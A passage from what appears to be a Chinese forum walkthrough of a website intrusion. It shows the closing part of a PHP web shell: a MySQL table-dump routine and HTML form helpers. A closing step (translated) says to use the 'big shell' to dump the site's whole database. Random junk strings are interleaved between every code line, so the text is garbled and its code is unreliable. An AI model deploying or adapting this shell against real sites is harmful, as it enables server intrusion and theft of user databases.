      * S4 m0 e% v: R
1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
      4 @$ {; i) X3 Q! G0 Q: r
1784.         $tabledump .= "CREATE TABLE $table (\n";
      
1785.         $firstfield=1;
      
1786.         $fields = q("SHOW FIELDS FROM $table");
      
1787.         while ($field = mysql_fetch_array($fields)) {
      
1788.                 if (!$firstfield) {
      
1789.                         $tabledump .= ",\n";
      
1790.                 } else {
      
1791.                         $firstfield=0;
      
1792.                 }
      % Y: |7 S" f7 k
1793.                 $tabledump .= "   $field[Field] $field[Type]";
      
1794.                 if (!empty($field["Default"])) {
      8 R' F7 b% N8 z7 O1 [
1795.                         $tabledump .= " DEFAULT '$field[Default]'";
      3 N. J% k1 {* B! M1 Q( Q
1796.                 }
      
1797.                 if ($field['Null'] != "YES") {
      ) d# w) q+ f' ~& Q8 c
1798.                         $tabledump .= " NOT NULL";
      
1799.                 }
      
1800.                 if ($field['Extra'] != "") {
      6 ]. m( z( M9 m1 a% }, x/ s1 @
1801.                         $tabledump .= " $field[Extra]";
      
1802.                 }
      
1803.         }
      / ~1 X1 T. i4 n8 ^" @
1804.         fr($fields);
      $ O+ V& L. K/ F
1805.         $keys = q("SHOW KEYS FROM $table");
      . r# G& J, U, ^9 M
1806.         while ($key = mysql_fetch_array($keys)) {
      9 U5 ]$ X% j9 J0 z
1807.                 $kname=$key['Key_name'];
      * ]* f7 j4 a- ~9 B
1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
      ( p( ?6 g/ C8 I7 ^6 K3 m
1809.                         $kname="UNIQUE|$kname";
      + Y3 |3 V; m& ?5 C& j
1810.                 }
      
1811.                 if(!is_array($index[$kname])) {
      5 t+ P/ m: b" V5 ~
1812.                         $index[$kname] = array();
      
1813.                 }
      
1814.                 $index[$kname][] = $key['Column_name'];
      
1815.         }
      
1816.         fr($keys);
      
1817.         while(list($kname, $columns) = @each($index)) {
      8 [/ I" K) H) z$ t
1818.                 $tabledump .= ",\n";
      , u+ A, Y7 i1 b$ x1 h" G- T
1819.                 $colnames=implode($columns,",");
      
1820.                 if ($kname == "PRIMARY") {
      
1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
      4 Y4 v4 M1 D( K7 O/ L9 X; T2 {
1822.                 } else {
      
1823.                         if (substr($kname,0,6) == "UNIQUE") {
      
1824.                                 $kname=substr($kname,7);
        U; B% M% B9 o; Z! s6 C" K, G9 m* E
1825.                         }
      / F5 E* v+ s9 Y) T: y8 A
1826.                         $tabledump .= "   KEY $kname ($colnames)";
      
1827.                 }
      
1828.         }
      . f9 C( D2 L2 W) ?3 |# r3 L/ W9 x) J
1829.         $tabledump .= "\n);\n\n";
      & R4 u' o/ w' R' E$ x3 e$ S
1830.         if ($fp) {
      1 \4 c4 l. P1 L7 D
1831.                 fwrite($fp,$tabledump);
      
1832.         } else {
      
1833.                 echo $tabledump;
      6 f! m( \8 J& D0 [
1834.         }
      ! ]# q& W1 d6 V7 p
1835.         $rows = q("SELECT * FROM $table");
      
1836.         $numfields = mysql_num_fields($rows);
      : f5 R1 ^- b2 f+ j* k  @& [
1837.         while ($row = mysql_fetch_array($rows)) {
      
1838.                 $tabledump = "INSERT INTO $table VALUES(";
      
1839.                 $fieldcounter=-1;
      
1840.                 $firstfield=1;
      " z( @* G3 p  ?0 |
1841.                 while (++$fieldcounter<$numfields) {
      7 V, B# w+ w3 q  p/ I& B5 H
1842.                         if (!$firstfield) {
      
1843.                                 $tabledump.=", ";
      
1844.                         } else {
      8 c) V" o/ o6 D% l8 \1 a
1845.                                 $firstfield=0;
      * r5 Z% D: \0 `, F  o
1846.                         }
      / W2 @5 J6 S( s, c
1847.                         if (!isset($row[$fieldcounter])) {
      9 n8 R6 W4 u9 Q3 H5 i2 Q" e
1848.                                 $tabledump .= "NULL";
      7 r3 N0 Y0 P% w6 h/ ^
1849.                         } else {
      5 u. J7 F5 |+ |+ Y; r' X% R& j
1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
      
1851.                         }
      
1852.                 }
      5 t* r5 S* w# Z2 p6 S
1853.                 $tabledump .= ");\n";
      
1854.                 if ($fp) {
      
1855.                         fwrite($fp,$tabledump);
      
1856.                 } else {
      $ R( T7 S5 B6 {# r" t8 c, @
1857.                         echo $tabledump;
      ! _. \" m+ t4 v2 \* ]0 k+ ^
1858.                 }
      
1859.         }
      ; R" |5 x1 Z1 D
1860.         fr($rows);
      
1861.         if ($fp) {
      1 l+ g3 `" U8 X, M: h3 @/ M7 y+ X
1862.                 fwrite($fp,"\n");
      
1863.         } else {
      
1864.                 echo "\n";
      ( n" x& s5 N" U, w6 M
1865.         }
      
1866. }
      7 s# z3 c* _- I& t. }# G
1867. function ue($str){
      8 K6 x+ |& I4 y! t% a2 R
1868.         return urlencode($str);
      
1869. }
      
1870. function p($str){
      6 E$ z2 M# O0 O% X4 x3 g6 i- F  v. F
1871.         echo $str."\n";
      5 Y" ~' g1 w( U+ W8 `# i6 ]
1872. }
      1 C1 u& ^/ W0 X  I9 n/ c
1873. function tbhead() {
      " l6 @$ G& c9 {. O1 S5 u/ v
1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
      / n% L( p! B0 p' ^9 i& F7 I: V+ F
1875. }
      
1876. function tbfoot(){
      
1877.         p('</table>');
      
1878. }
      
1879. function makehide($name,$value=''){
      2 }4 ~& ^; s4 t5 d0 c
1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
      3 b# i" m0 L0 q6 }
1881. }
      * W4 v+ t- {8 O/ B: U  P  G
1882. function makeinput($arg = array()){
      
1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
      ) O/ ?# j! N; N' L
1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
      ) Y* e( {2 `; |, M
1885.         !$arg['type'] && $arg['type'] = 'text';
      " ]8 X* U5 j: t( x' C) u6 F7 y
1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      1 `( y7 e* n# t& S9 p# _. A5 [1 v
1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
      
1888.         if ($arg['newline']) {
      
1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
      
1890.         } else {
      
1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
      
1892.         }
      $ |8 Z4 |: D5 N) z
1893. }
        G, V& b5 @7 M( n" b* L7 `
1894. function makeselect($arg = array()){
      1 x' d$ h+ I2 @0 w( q
1895.         if ($arg['onchange']) {
      3 z6 t/ o0 m, x9 i+ }6 F! {6 U
1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
      
1897.         }
      
1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
      
1899.         if ($arg['newline']) p('<p>');
      . E9 {$ b& i- u: y
1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
      
1901.                 if (is_array($arg['option'])) {
      
1902.                         foreach ($arg['option'] as $key=>$value) {
      
1903.                                 if ($arg['selected']==$key) {
      
1904.                                         p("<option value="$key" selected>$value</option>");
      
1905.                                 } else {
      
1906.                                         p("<option value="$key">$value</option>");
      ; Z. n1 _6 }5 F3 o2 R. p' z+ \0 A) `
1907.                                 }
      
1908.                         }
      
1909.                 }
      , V4 T1 _8 l: `' y# J
1910.         p("</select>");
      7 q8 f/ P( b* M% @( _3 i1 C
1911.         if ($arg['newline']) p('</p>');
      3 P. q8 a3 N$ P
1912. }
      
1913. function formhead($arg = array()) {
      
1914.         !$arg['method'] && $arg['method'] = 'post';
      
1915.         !$arg['action'] && $arg['action'] = $self;
      0 {" Y  s9 N: l2 @
1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
      
1917.         !$arg['name'] && $arg['name'] = 'form1';
      : z/ W# [% n: Q3 D; B/ V5 L" d2 `
1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
      
1919.         if ($arg['title']) {
      
1920.                 p('<h2>'.$arg['title'].' »</h2>');
      
1921.         }
      1 G' D4 I7 Z/ ]6 M2 E
1922. }
      
1923.        
      9 C+ z6 u7 M% H$ p
1924. function maketext($arg = array()){
      
1925.         !$arg['cols'] && $arg['cols'] = 100;
      ; o% U# @# K* ^! ^. |! v# j
1926.         !$arg['rows'] && $arg['rows'] = 25;
      ; R% }5 z. y" A3 v1 q9 |
1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      & V0 B- ]; |) y5 C5 k, y) }; d
1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
      ! k6 W, a1 s: z
1929. }
      
1930. 
      
1931. function formfooter($name = ''){
      0 `" F! q: e5 V. s7 p& J4 a3 O) F
1932.         !$name && $name = 'submit';
      # D, X8 W% s. T8 U. _" j
1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
      ; B1 R" _0 `- Z
1934.         p('</form>');
      ) H1 Y: A- B; x4 ]: d
1935. }
      2 @* O" u' Y0 A+ u
1936. 
      
1937. function formfoot(){
      ' m. T# j4 ^1 ~3 m4 d, U# r1 B
1938.         p('</form>');
      1 @4 h1 }7 x. X8 k( ~
1939. }
      
1940. 
      
1941. // 调试函数
      $ L6 m! @9 K8 x) @7 S
1942. function pr($a) {
      - _  B$ n" ^" p  _8 W* I8 W
1943.         echo '<pre>';
      : K% o' e9 O. l& B2 T5 L+ Y& x
1944.         print_r($a);
      
1945.         echo '</pre>';
      " k4 X9 G6 p/ |1 Q0 r# W1 [
1946. }
      5 V! \7 U! D, m( S# a6 G; M
1947. 
      
1948. ?>

复制代码

11、最后通过大码对网站数据库进行脱库
0 V$ K3 i9 N% v, U3 ^

- Z& {- q% |, F$ e